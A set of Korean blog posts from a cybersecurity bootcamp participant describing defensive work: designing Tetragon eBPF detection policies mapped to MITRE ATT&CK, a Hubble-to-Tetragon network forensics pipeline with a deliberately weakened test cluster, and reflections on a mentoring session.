<p>이번주는 지난 포스트에서도 살짝 얘기한거처럼 나는 Tetragon 정책 설계를 맡아서 정책 설계를 어떻게 하고 있고, 수행과정에서 어떤 어려움이 있었는지 정리 해보도록 하겠다.</p>
<hr>
<h2 id="tetragon이란">Tetragon이란?</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/abda6719-79fb-4563-ad8e-8a3840bc1fc8/image.png" alt=""></p>
<p><strong>Tetragon</strong>은 Cilium 프로젝트로 <strong>eBPF</strong> 기반의 <strong>보안 관측(Observability)</strong> 및 <strong>실시간 가동 중지(Runtime Enforcement)</strong> 도구이다. K8S 환경에서 시스템 내부의 동작을 user 레벨부터 커널 레벨까지 들여다보고, 위협이 발견되면 즉시 차단할 수 있는 강력한 기능을 제공한다.
<strong>Tetragon</strong>은 <strong>eBPF(extended Berkeley Packet Filter)</strong> 기술을 사용하여 운영체제의 커널 내부에서 이벤트를 직접 필터링하기 때문에 <strong>Context Switching</strong>에 의한 Overhead가 매우 적고, 프로세스 실행, 파일 접근, 네트워크 연결 등을 커널 수준에서 추적이 가능하다.</p>
<blockquote>
<h4 id="context-switching">Context Switching?</h4>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/5419c6e6-96a1-4ba8-ae63-46c066896c2a/image.png" alt="">
하나의 프로세스가 컴퓨팅 리소스를 사용하고 있는 상태에서 다른 프로세스가 컴퓨팅 리소스를 사용하도록 하기 위해, 이전의 프로세스의 상태를 저장하고 새로운 프로세스를 실행하게 하는 작업을 의미한다.</p>
</blockquote>
<p>기존 eBPF 기반 탐지 도구와 가장 큰 차이점은 <strong>집행(enforcement)</strong>이 가능하다는 점이다. 여기서 집행은 악의적인 프로세스를 <strong>강제 종료</strong> 시키거나 <strong>반환값을 조작</strong>하는 행위를 의미한다.</p>
<blockquote>
<h4 id="우리는-왜-tetragon을-선택했을까">우리는 왜 Tetragon을 선택했을까?</h4>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/458ead16-711f-4dd1-ba14-4a442977b0f2/image.png" alt="">
<img src="https://velog.velcdn.com/images/_sychoii/post/ba4453b5-abce-4a64-ad83-e21c63911e03/image.png" alt="">
우리팀은 프로젝트 수행을 위해 Tetragon 외에도 Falco, Tracee, KubeArmor 등 다양한 eBPF 기반 탐지 도구를 비교 실험한 결과 집행 기능을 가지고 있고, 탐지 포인트 설정의 유연성, 프로세스 계보 추적에 장점을 가지고 있는 Tetragon을 최종적으로 선택하게 됐다.</p>
</blockquote>
<p>Tetragon이 지원하는 주요 기능은 다음과 같다.</p>
<ul>
<li>프로세스 실행 추적 (Process Execution)
어떤 프로세스가 어떤 인자(Arguments)를 가지고 실행되었는지, 부모-자식 관계는 어떻게 되는지 상세히 기록한다.</li>
<li>파일 시스템 모니터링 (File Access)
민감한 설정 파일(/etc/shadow 등)에 대한 읽기/쓰기 시도를 탐지한다.</li>
<li>네트워크 가시성 (Network Observability)
소켓 생성, TCP 연결 상태, DNS 쿼리 등을 프로세스 정보와 결합하여 보여준다.</li>
<li>런타임 강제 집행 (Runtime Enforcement)
허용되지 않은 시스템 콜(System Call)이 발생하면 프로세스를 즉시 차단한다.</li>
</ul>
<p><strong>system call</strong>, <strong>LSM(Linux Security Module) function</strong> 등 다양한 <strong>Hook Point</strong> 설정을 통해 위와 같은 기능을 제공한다.</p>
<hr>
<blockquote>
<h4 id="미리-양해를-구해보자면">미리 양해를 구해보자면..</h4>
<p>아직 프로젝트가 종료하지 않았고, 고도화 작업이 한창이기 때문에 자세한 내용을 이 블로그에 작성하지 못 합니다.
나름 팀 내부 기밀사항(?)이기에..ㅎ 프로젝트 끝나고 프로젝트 리뷰를 진행할 때 하나씩 세세하게 짚어 보도록 하겠습니다!</p>
</blockquote>
<h2 id="정책-설계를-한다는-것의-의미">정책 설계를 한다는 것의 의미</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/08b31217-d1ea-49f3-8efd-7d0bcec4d5af/image.png" alt=""></p>
<p>&quot;<strong>정책 설계</strong>&quot;는 시스템에서 일어나는 수만 가지 행위 중 &#39;<strong>특정한 행동</strong>&#39;을 감시하고 대응할지 선언하는 것이다.
예를 들어 마트에 가서 물건을 산다고 하자. 구매할 물건을 골라 <strong>매대에 올려놓는 행위</strong>는 시스템 내부의 특정 동작(ex. 파일 열기, 네트워크 연결 등)이다.
이때 우리가 <strong>&quot;매대에 특정 물건(예: 위험물)이 올라오면 반드시 바코드를 찍고, 점원에게 알려라&quot;</strong>라고 규칙을 정해두는 것이 바로 정책 설계입니다.
여기서 &#39;<strong>매대</strong>&#39;는 어디를 감시할 것인가?를 의미하고 이를 <strong>Hook Point</strong>라고 한다. 또, &#39;<strong>바코드를 찍는 것</strong>&#39;은 <strong>탐지(Detection)</strong>, 그리고 만약 위험물일 때 <strong>판매를 거부</strong>하는 것은 <strong>차단(Enforcement)</strong>이다. 즉, 정책 설계란 <strong>목적</strong>을 가지고 <strong>감시할 대상과 대응 방식을 정의</strong>하는 과정을 말한다.</p>
<h3 id="mitre-attck-matrix-활용">MITRE ATT&amp;CK Matrix 활용</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/21c5caae-16c2-46ff-b15a-97f4ceaf0a70/image.png" alt=""></p>
<p>우리는 K8S 환경에서 프로젝트를 수행하기 때문에 컨테이너 대상 위협들을 탐지하는 정책을 설계해야한다. 따라서 MITRE ATT&amp;CK Container 환경 대상 공격들을 테크닉 기준으로 세 파트로 나누어 정책 설계중에 있다. 그 중 나는 Inintial Access (TA0001), Execution (TA0002), Persistence(TA0003)을 맡아 Tetragon 정책을 설계하고 있다.
우선 이 메트릭스에 맞춰 탐지 정책을 1차로 세우고, 세운 정책에서 공통되는 부분을 뽑아내 정책을 재설계하여 정책의 관리적, 성능적 측면에서 고도화를 이룰 계획이다.</p>
<h3 id="reference의-중요성">Reference의 중요성</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/316f9d02-4726-4425-a15c-3ab0578f31c2/image.png" alt=""></p>
<p>정책 설계하면서 가장 크게 느낀건 레퍼런스의 부재다. 못 찾은거 아니냐고 할 수 있겠지만 진짜 믿고 볼게 공식 문서 하나라고 생각하면 된다. 아직 활발하게 사용되고 있는 Tool이 아니기에... 그냥 머리를 박는다는 표현이 맞다. 
한 가지 희망적인건(?) Tetragon이 요즘 정말 핫한 도구라고 한다. 이 프로젝트를 통해 Tetragon 정책을 설계할 수 있는 능력을 갖춘다면? 하나의 경쟁력을 갖추게 되는 포인트가 되지 않을까..</p>
<h3 id="정책-설계시-어려움과-했던-생각들">정책 설계시 어려움과 했던 생각들</h3>
<p>가장 먼저 어려움이 있었던 것들은 각 공격에 맞는 Hook Point와 함수 선정이었던거 같다. 예를 들어 리버스 쉘 공격을 탐지하는 공격을 탐지하겠다라고 하면 네트워크를 볼 수도 있고, 쉘이 떨어지고 난 이후 행위를 볼 수도 있을 것이다. 결론부터 말하면 둘 다 봐야하는데, 네트워크 연결을 보겠다고 하면 연결 수립할 때 call 되는 함수인 <code>tcp_connect</code> 함수를 사용할 수도 있고 소켓 바인딩 과정을 보겠다?라고 하면 <code>inet_bind</code>라는 함수를 사용할 수도 있고, <code>sk_alloc</code> 등 같은 네트워크라고 해도 정말 많은 함수들이 존재한다. 또, 함수의 어떤 인자값을 선택해서 탐지를 할 것인가도 정해야 하니 첩첩산중...이라는 표현이 맞는거 같다.</p>
<p>정책은 yaml파일로 작성하는데 얘가 진짜 민감한 친구라 뭐가 조금만 달라져도 바로 에러뜨고 동작 안한다. 여기서 또 문제가 <code>kubectl apply</code> 명령으로 정책을 적용하고 완료됐다라는 메세지가 떠도 Kernel 함수 로드되는걸 또 지켜보고 있어야 한다. 적용이 완료됐다고 떠도 커널에 로드될 때 에러나는 경우가 굉장히 많기 때문에 ... 처음에 이걸 몰랐어서 엄청 헤맸다.</p>
<p><strong>RCE(Remote Command Execution)</strong>은 하나의 명령으로 공격을 수행해도 여러 가지 이벤트가 발생할 수 있다. 즉, 이 말은 여러 탐지 정책에 걸릴 수 있다는건데 문제는 정말 이게 공격 행위에 의해 남는 것인지 아니면 정책의 범위를 잘못 설정해서 오탐이 된건지 이를 어떻게 검증해야 하지?라는 생각이 들었다.
이거만 제대로 검증이 되면 여러 정책에 의해 탐지되는 것을 로그 분석시에 하나의 지표로서 활용할 수 있겠다라는 생각을 했다. 
이와 관련해서 멘토님께 여쭤보니 &quot;<strong>동일 이벤트에 대해 임계치 기반이 있을수 있고 말씀주신것 처럼 횟수를 활용하는 방안도 괜찮아보여요. 동일 컨테이너나 엔드포인트에서 동일 이벤트가 동시에 다수 발생한다? 이런 가정은 공격으로 간주하고 봐야겠죠 노이즈 보다는. **&quot;라고 하셨고 &quot;</strong>상관 분석(Correlation) 단계에서 우선순위(priority) 및 가중치(scoring) 설정을 통해 하나의 통합 이벤트로 묶어서 보여주는 로직이 필요하다**&quot;는 피드백을 받았다.
우선 상관분석 단계까진 아직 가지 못했기 때문에 수행하는 과정에서 다시 질문 드리겠다고 했다🤯.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>사실 TIL에 모든 내용을 정말 세세하게 녹여 작성하고 싶지만 앞서 말했듯이 아무래도 프로젝트고 마무리가 되지 않았기 때문에 입이 근질거리지만ㅋㅋㅋㅋ 참아야겠다..
어떻게 보면 우리 팀 프로젝트의 핵심적인 부분이기에 이런 공개된 공간에 내용을 전부 작성한다는거 자체가 되게 조심스럽다.
아직 작업이 마무리 되지 않았고, 사실 정책 설계하면서 이걸 내가 제대로 이해하면서 하고 있는건지 의심이 드는 순간이 오지만 있는 자료들을 최대한 활용해서... 최선을 다 하고 있다.</p>
<p>요즘 느끼는건데 시간이 지날수록 팀원들이 많이 지쳐 가는게 눈에 보인다. 다른 팀들도 마찬가지겠지만? 팀빌딩이 된 순간부터 지금까지 정말 쉴틈없이 달려오고 있고 벌려 놓은 일들을 하나씩 퀘스트 깨듯이 수행하고 있으니 어쩌면 당연한걸지도..? 컨디션이 안좋아보이는 팀원들도 있는데 참고 묵묵히 수행 해줘서 뭔가 팀장으로서 미안하면서 고마움을 많이 느끼는거 같다.</p>
<p>나도 사람인지라 지치고 막막한 순간들이 찾아오는데 팀원들 보면서 버티는거 같다. 나한테는 조금 특별히..? 부트캠프 시작부터 많은 시간을 보낸 희수랑 민송이가 우리 팀에 있어서 더 힘이 나는거 같다. 
희수는 항상 냉정함을 유지 해줄 수 있는 친구라 팀 분위기가 조금 들뜨거나 침울해져도 냉정함을 갖고 정상 궤도에 오를 수 있도록 많이 도와주고 민송이는 팀 분위기가 쳐져 있을 때 많은 힘이 되어 주는 친구다. 좀.. 둥가둥가를 잘한다..?라고 해야하나 암튼ㅋㅋㅋㅋㅋ 이 둘이 있어서 힘을 많이 얻는다~</p>
<p>이번주에 오픈서치 대시보드에 탐지된 로그를 띄울 때 필터링 하는 부분에 있어서 변화가 있어서 정책 설계하는 부분에서도 수정이 필요할거 같다. 이 작업은 수행 완료하는대로 또 정리해서 다음주 TIL에 반영해서 써볼 생각이다.</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 다들 새해 복 많이 받으세요. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 3]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-3</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-3</guid>
            <pubDate>Sun, 04 Jan 2026 07:33:26 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/e44d096c-91bf-4945-a603-51d3c4337df7/image.png" alt=""></p>
<p>이번 3주차에서는 프로젝트의 실무적인 기준이 될 분석 방향을  정립하였습니다. 이전까지는 <strong>Tetragon 정책 설계</strong>와 <strong>로그 분석 기법</strong> 두 가지 파트로 인원을 분담하여 운영하였으나, 본 프로젝트의 핵심 주제인 <strong>“네트워크 포렌식”</strong>에 더욱 집중하기 위해 로그 분석 기법 담당 인원들이 우선적으로 <strong>Hubble 로그 분석을 수행</strong>하는 것으로 변경 사항이 있었습니다.</p>
<p><strong>Tetragon 정책</strong>은 <strong>MITRE ATT&amp;CK Matrix</strong>에 맞춰 공격들을 분류한 후, 각 Technique별로 정책을 설정하도록 하였습니다. 이러한 방식은 OpenSearch 분석 과정에서 설정한 정책별로 탐지된 로그들을 개별적으로 분리하여 <strong>가시성</strong>을 확보할 수 있다는 이점이 있습니다.</p>
<p>반면 Cilium 및 Hubble은 L7 트래픽 가시성 확보를 위한 정책을 제외하고는 별도의 유의미한 정책 설정보다는, 오로지 트래픽의 <strong>이상 징후</strong>를 통해서만 분석이 가능하도록 설계하였습니다.</p>
<p>마지막으로 기존 인프라 환경은 각 파드가 독립적으로 배치되어 있었으나, <strong>실제 환경에서 발생할 수 있는 트래픽 노이즈</strong>를 구현하기 위해 Web Service, API, DB 파드가 유기적으로 연결될 수 있도록 환경을 새롭게 구축하였습니다.</p>
<hr>
<h2 id="1-분석-방향-정립">1. 분석 방향 정립</h2>
<p>기존의 분석 방향은 <strong>Tetragon</strong> 로그와 <strong>Hubble</strong> 로그를 각각 <strong>OpenSearch</strong>에서 시각화한 뒤, 식별자들을 대조하여 수동으로 매핑하는 방식이었습니다.
하지만 이는 <strong>단순히 공격 과정을 복기하는 리플레이</strong>에 가깝다는 한계가 있었습니다.</p>
<p>따라서 저희 팀은 <strong>“이상 현상이 발생했고, 그 원인이 무엇이었는가”</strong>라는 포렌식 관점을 강화하기 위해, <strong>네트워크 흐름의 이상 징후</strong>를 먼저 탐지하고 이를 기점으로 후속 로그 분석을 수행하는 단계적 로그 분석 파이프라인을 설계하였습니다.</p>
<p>설계한 파이프라인의 1차 트리거는 <strong>네트워크 관점의 Hubble</strong>입니다. 평상시 모든 로그를 분석하지 않고, 사전에 정의한 이상 네트워크 흐름 기준을 위반할 시 <strong>Alert</strong>가 발생하도록 하였습니다.</p>
<p>Alert에는 시간(Timestamp), 파드 이름(Pod Name), 네임스페이스(Namespace), 트래픽 방향 정보가 포함되어 있으며, 해당 정보는 Tetragon 로그와 연계할 수 있는 입력값으로 활용됩니다.</p>
<p>2차 분석에서는 위 정보를 바탕으로 <strong>Tetragon</strong>에서 프로세스 및 실행 명령어 로그를 쿼리하여 공격의 실체를 확인하는 구조를 확립하였습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/de03a994-dee6-45ed-a8ce-f327f3e29202/image.png" alt=""></p>
<hr>
<h2 id="2-tetragon-정책-현황">2. Tetragon 정책 현황</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c304059c-2e13-4536-9e64-4756a27b4dba/image.png" alt=""></p>
<p><strong>Tetragon</strong> 정책 수립은 공격 행위를 체계적으로 관리하기 위해 <strong>MITRE ATT&amp;CK Matrix</strong>를 기준으로 기술들을 분류하는 작업을 선행하였습니다. 분석 시의 정밀도와 가시성을 확보하기 위해 전술(Tactic) 단위가 아닌, <strong>구체적인 기법(Technique)별로 정책을 세분화</strong>하였습니다.</p>
<p>정책 설정은 총 3명의 인원이 담당하여 Matrix의 전체 영역을 분담하였습니다. 구체적으로는 다음과 같이 세 영역으로 나누어 정책을 구현하고 있습니다.</p>
<ul>
<li><strong>Initial Access / Execution / Persistence</strong></li>
<li><strong>Privilege Escalation / Defense Evasion / Credential Access</strong></li>
<li><strong>Discovery / Lateral Movement / Impact</strong></li>
</ul>
<p>현재까지 주요 기법들에 대한 <strong>정책 수립이 완료</strong>되었으며, 향후 실제 서비스 통신 중에 발생하는 정상 로그를 정교하게 필터링하여 오탐을 줄이는 <strong>노이즈 최적화</strong> 과정을 지속할 예정입니다.</p>
<hr>
<h2 id="3-hubble-로그-분석-현황">3. Hubble 로그 분석 현황</h2>
<p>현재 재정립한 로그 분석 파이프라인에 따라 네트워크에서 이상 흐름이 탐지되면 <strong>Slack</strong>으로 <strong>Alert</strong>를 전송하기 위해, 이상 징후 탐지를 위한 쿼리 설정 단계에 있습니다.</p>
<p>초기 설계 방향은 개별 공격을 전제로 하지 않고 <strong>전체 네트워크 흐름을 하나의 관점</strong>에서 바라보며 이상 징후를 탐지하는 것이었습니다. 즉, 특정 공격을 미리 가정하고 로그를 찾는 것이 아니라 네트워크 레벨에서 평소와 다른 흐름이 발생했는지를 기준으로 이상을 감지하고, 그 시점과 대상 파드를 단서로 <strong>Tetragon 로그를 역추적</strong>하는 구조입니다.
이는 네트워크를 출발점으로 삼는다는 점에서 <strong>네트워크 포렌식의 본질적인 문제의식</strong>과 가장 부합하는 방향입니다.</p>
<p>하지만 쿼리 설정을 진행한 결과, 단순한 네트워크 이상 흐름 기준만으로는 모든 공격을 포착할 수 없다는 한계가 확인 되었습니다. 예를 들어 네트워크 통신이 거의 없거나 정상적인 트래픽 패턴 내에서 이루어지는 정찰 행위, 내부 정보 수집, 로컬 권한 상승과 같은 공격은 네트워크 레벨에서 뚜렷한 이상으로 나타나지 않을 수 있습니다.</p>
<p>따라서 공격별 네트워크 특징을 정의해 각각에 맞는 쿼리를 작성하는 방안도 검토 중에 있습니다. 이 방식은 탐지율을 높일 수 있으나, 탐지 단계에서 이미 특정 공격에 대한 가정이 들어가게 되어 순수한 네트워크 포렌식 접근과는 다소 거리가 생기게 됩니다.</p>
<p>현재 저희 팀은 이러한 두 가지 접근 방식 사이에서 <strong>네트워크 이상 탐지의 역할을 어디까지 정의</strong>할 것인지, 그리고 <strong>탐지 범위 확보와 포렌식 방법론의 순수성</strong> 사이의 트레이드오프를 어떻게 최적화할 것인지에 대해 심도 있게 논의하고 있습니다.</p>
<hr>
<h2 id="4-인프라-환경-변경">4. 인프라 환경 변경</h2>
<p><strong>Tetragon</strong>의 네트워크 탐지 정책을 구현하는 과정에서 기존 인프라 구조의 근본적인 한계를 인지하였습니다. 기존처럼 각 파드가 독립적으로만 존재하는 환경에서는 내부 네트워크 통신 탐지 정책을 적용하더라도 서비스 간의 상호작용이 전혀 없기 때문에, <strong>실제 운영 환경에서 직면할 수 있는 오탐 문제</strong>가 표면적으로 드러나지 않았습니다. 
하지만 파드 간 빈번한 통신이 발생하는 실제 환경이라면 저희가 설정한 정책들이 정상적인 통신까지 위협으로 탐지할 가능성이 높으며, 이를 검증하고 튜닝하기 위해서는 인프라의 재구성이 필수적이라는 결론에 도달하였습니다.</p>
<p>이러한 문제를 해결하고자 인프라 구성을 최대한 실제 환경과 유사하게 전면 수정하기로 결정하였습니다. user-api, order-api, DB, web-service로 구성된 <strong>마이크로서비스 환경을 구축</strong>하되, 각 서비스가 역할에 따라 서로 다른 트래픽 및 DB 접근 경로를 가지도록 재구성하는 것을 목표로 하였습니다. 
<strong>React 기반의 SPA(Single Page Application)</strong> 취약 서비스 후보를 확정하고 웹 서비스 환경을 재정비하였으며, web → user-api → order-api → DB로 이어지는 서비스 체인의 정상 동작 확인을 완료하였습니다.</p>
<p>보안 설계 측면에서는 <strong>RBAC 과도 권한</strong>, <strong>평문 시크릿</strong>, <strong>평문 통신</strong> 등 보안이 취약한 상태를 의도적으로 유지하여 공격 및 탐지 실험이 가능한 기반 환경으로 수정 중에 있습니다.
향후에는 <strong>Hubble</strong> 및 <strong>Tetragon</strong>을 활용하여 해당 환경에서 발생하는 <strong>대량의 정상 트래픽과 공격 행위를 비교 분석</strong>할 예정입니다. 또한 한정된 디스크 용량 문제를 관리하기 위해 <strong>DB 데이터 수명 정책</strong>을 적용하여 주기적으로 데이터를 삭제하는 실험을 병행할 계획입니다.</p>
<p>결과적으로 이러한 인프라 고도화는 실제 환경에서 발생하는 <strong>정상적인 트래픽 노이즈를 구현</strong>하고, 그 속에서 공격자의 <strong>비정상적 행위를 정교하게 판별</strong>할 수 있는 실무적인 포렌식 분석 토대를 마련하였습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 15]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-15</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-15</guid>
            <pubDate>Mon, 29 Dec 2025 14:42:32 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 토스뱅크 블루팀, 레드팀 멘토님들의 대면 멘토링 일정이 잡혀 있는 주였다.
매니저님께서 블루팀 프로젝트를 하는 조와 레드팀 프로젝트를 하는 조 양쪽으로 나뉘어 멘토링을 진행한다고 하셨는데 정말 감사하게도 얼마가 걸려도 좋으니 멘토님 두 분 모두 참여하셔서 팀별로 멘토링 해주신다고 했다.</p>
<p>물론 우리는 블루팀 프로젝트를 하지만 나중에 업무를 할 땐 레드팀과 협업이 필수적이기 때문에 우리 프로젝트에 대한 다양한 견해를 얻을 수 있는 좋은 기회라고 생각했다.
그렇기 때문에 멘토링 사전 준비 기간과 프로젝트 1주차에 수행한 내용을 잘 정리해서 우리가 무엇을 하고 싶고, 어떤 고민을 하고 있는지 잘 보여 드리기 위해 자료 준비에 정말 신경을 많이 썼던거 같다.</p>
<p>그래서! 이번주 TIL은 멘토링 진행한 내용과 멘토링 시간에 받은 피드백을 바탕으로 프로젝트를 어떻게 진행하고 있는지 작성 해보려고 한다.</p>
<h2 id="발표">발표</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a8b8fb9a-8606-441b-915e-6009afc45dcf/image.jpg" alt=""></p>
<p>멘토링은 12월 22일(월요일) 14시부터 진행이 됐고, 각 팀별로 약 30분 ~ 40분 정도 시간이 주어졌다. 사실 우리 팀이 1시간 정도 진행을 해서ㅋㅋㅋㅋ 시간이 많이 딜레이 됐다.
우리 팀 프로젝트 주제가 <strong>&quot;네트워크 포렌식&quot;</strong>이기 때문에 블루팀 멘토님과는 평소에도 슬랙을 통해 꽤나 자주 연락을 하는 편이었다. 
그래서 그런지 멘토님께서 우리를 보시자마자 &quot;아 이 팀이구나ㅋㅋㅋㅋ&quot;라고 하셔서 항상 질문 잘 받아주셔서 감사하다고 직접 감사 인사를 드렸다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a3d16bb8-abf4-42a4-a6cd-c76e872d1089/image.png" alt=""></p>
<p>근데 레드팀 멘토님과는 소통을 자주하는 편이 아니었다. 그래서 우리가 무엇을 하는지에 대한 설명의 필요성을 느껴 <strong>&quot;문제 인식 + 주제 선정 이유&quot;</strong>부터 발표를 시작해서 1주차 진행 상황과 Future Work을 설명 드렸다.
아무래도 장표에 모든 내용을 넣을수는 없어 질의응답에 사용할 Appendix까지 넣어 자료를 준비했다.</p>
<p>사실 굳이 발표 자료까지 만들어야 되냐 할 수도 있겠지만 멘토님들께서 귀한 시간 내주셔서 오셨으니 사소한 것이라도 더 준비하는게 맞다고 생각했다.</p>
<p>발표는 약 15분 정도에 걸쳐 진행했고 일단 너무 떨렸다;;; 현직자분들 앞에서 발표한 경험도 없었지만 어떻게 하면 우리 프로젝트에 대해 잘 전달할 수 있을까? 준비가 너무 미흡지 않은가? 이런 저런 걱정이 많았다.. 딱 첫 마디하는데 막 혀도 꼬이고 말도 잘 안나와서 진짜 속으로 난리가 났지만? 점점 몰입 되면서 Project 1주차 진행 상황 보고부터는 괜찮았던거 같다. 아마도?</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e5a9ccc9-58f2-4bfc-b8f0-92523c96aa23/image.jpg" alt=""></p>
<p>발표가 끝나니 입이 바싹바싹 말랐다. 그리고 멘토님들의 첫 마디는.. <strong>&quot;지금 봤을때는.. 저는 상당히 좋은데요?&quot;</strong>였다!!!!!!!!!!! 정말 아직도 생생하다.. 기분이 말로 표현 안될 정도로 좋았다.
이후에는 이전에 나눴던 내용들 중 변한 부분들에 대한 질문, 프로젝트에서 사용하는 도구 관련 질문, 프로젝트 방향성에 대한 질문이 이어졌고 우리가 프로젝트 진행한 내용을 기반으로 답변을 드렸다.</p>
<p>질문에 대한 답변도 꽤나 잘한거 같다. 다른 수강생께서 오셔서 질문 디펜스 잘하시던데요?라고 하셨다ㅋㅋㅋㅋㅋ 애초에 우리 팀은 도구 선정 뿐만 아니라 사소한 결정 하나 하나에도 논리적인 비약이 없어야 된다고 생각해서 대충 뭉게고 넘어간적이 없다. 우리의 생각이 틀렸을 수도 있지만 항상 우리의 생각과 논리를 부여하고자 했기 때문에 막힘없이 잘 대답할 수 있었던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f8f2d5cc-5acb-4906-bb19-ce9b37124446/image.png" alt=""></p>
<p>그리고! 내가 주도해서 한 것중에 지난 포스트에서도 언급한 MCP를 활용한 공격 시나리오 생성 에이전트 개발한 부분도 참신하다고 긍정적인 평가를 받았다ㅎㅎ
공격 시나리오의 다양성 확보를 위해 가볍게 시도 해본건데 좋은 평가를 받을줄은 몰랐다.
칭찬은 고래도 춤추게 한다고 내게 주어진 일과 수행한 것들이 좋은 평가를 받는건 언제나 좋은거 같다.</p>
<hr>
<h2 id="동전은-양면이다">동전은 양면이다.</h2>
<p>긍정적인 평가를 주로 받았지만, 역으로 우리가 이 프로젝트를 성공적으로 완수하기 위해 해야 할 일들이 정말 많았다.</p>
<p>우선, 가장 기억에 남는 것 중에 하나가 <strong>eBPF 기반 도구의 충돌 이슈</strong>다. eBPF 기반으로 동작하는 <strong>Cilium CNI</strong>에 네트워크 관측성 확보를 위한 <strong>Hubble</strong>과 시스템 이벤트를 관측하기 위한 <strong>Tetragon</strong>이라는 도구를 사용한다.</p>
<p>우리가 받은 질문이 eBPF 기반 도구를 두 개 쓰는건데 선례가 있는가?와 커널 레벨에서 두 도구가 마주 보게 될거니까 충돌해서 OOM(Out Of Memory)가 날텐데 이게 컨테이너가 죽는게 아니라 Host OS가 뻗어 버리지 않는가?였다. 미처 생각하지 못했던 부분이어서 순간 뇌가 멈췄었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/3a688aa9-2661-49a7-b633-cc0fec0080f8/image.png" alt=""></p>
<p>멘토링 이후에 희수가 주도해서 충돌성 검증을 진행해줬고, 충돌이 안난다는게 결론이었다. 그리고 이 내용은 프로젝트 수행일지에 작성 해뒀으니 궁금하다면 한번쯤 봐보면 좋을거 같다.</p>
<blockquote>
<p><a href="https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-2">Team ForenSeek 2주차 수행일지</a></p>
</blockquote>
<p>그리고 Tetragon은 아직 상용화가 많이 안되어 있는 Tool이기 때문에 레퍼런스가 많이 없다는 것도 그렇고.. 네트워크 로그와 시스템 로그의 상관분석을 어떻게 할건지 등등.. 칭찬 받아서 좋긴한데 동시에 해야할 일들이 머릿속에서 하나하나 쌓이니 생각이 많아졌다.</p>
<p>또, 지적받은 사항이면서 우리도 가지고 있었던 고민이 프로젝트 큰 주제가 <strong>&quot;네트워크 포렌식&quot;</strong>인데, <strong>RASP(Runtime Application Self-Protection)</strong>에 가깝다는 거였다.
이때까지만 해도 사실 네트워크 관측보단 Tetragon이 프로젝트의 메인인 느낌이 커서.. 네트워크 포렌식이라는 주제를 헤치지 않으면서 고도화 하는 방향을 생각 해봐야겠다. (지금은 이 문제는 내부적인 회의를 거쳐 해결된 사안이다.)
암튼.. Tetragon 정책 설정부터 시작해서 프로젝트의 색을 뚜렸하게 하는거, 네트워크 이벤트 관측, 상관 분석 고도화 등등.. 할게 정말 많다.</p>
<hr>
<h2 id="충분히-기뻐하되-취하지-말자">충분히 기뻐하되 취하지 말자</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b8b79c1a-cc09-4c3e-976f-c578ce29b68b/image.png" alt=""></p>
<p>사실 좋은 평가에 대한 기쁨과 동시에 걱정스러웠다. 너무 좋은 평가를 받아서 이거에 취해서 해이해지면 어떡하지라는 생각이 앞섰다.
우리는 기획과 프로젝트 진행을 위한 사전 작업에서 좋은 평가를 받았을 뿐이다. 즉, <strong>첫 삽을 잘 떴을뿐</strong>이라는 것이다.</p>
<p>그래서 일단 너무 고생 많았다고 팀원들한테 이야기 하고 근데 우리 이거에 취하진 말자고 이제 시작이라고 전했다.
다행히 창렬님께서 멘토링에서 받은 피드백을 곧바로 정리해서 공유 해주셨고, 희수와 민송이가 멘토링 끝나자마자 우리가 해야할 일들을 정리해서 나에게 공유 해줘서 다음날 뭘할지 계획을 세울 수 있었다. (다들 정말 고맙습니다..)</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>앞서 얘기한대로 기획 단계에서 받을 수 있는 최대의 칭찬을 받았던거 같다. 나도 정말 신경 쓰면서 이 프로젝트를 준비했지만 팀원들도 나와 같은 생각을 가지고 준비 해줬기 때문에 이룰 수 있었지 않았나 싶다.</p>
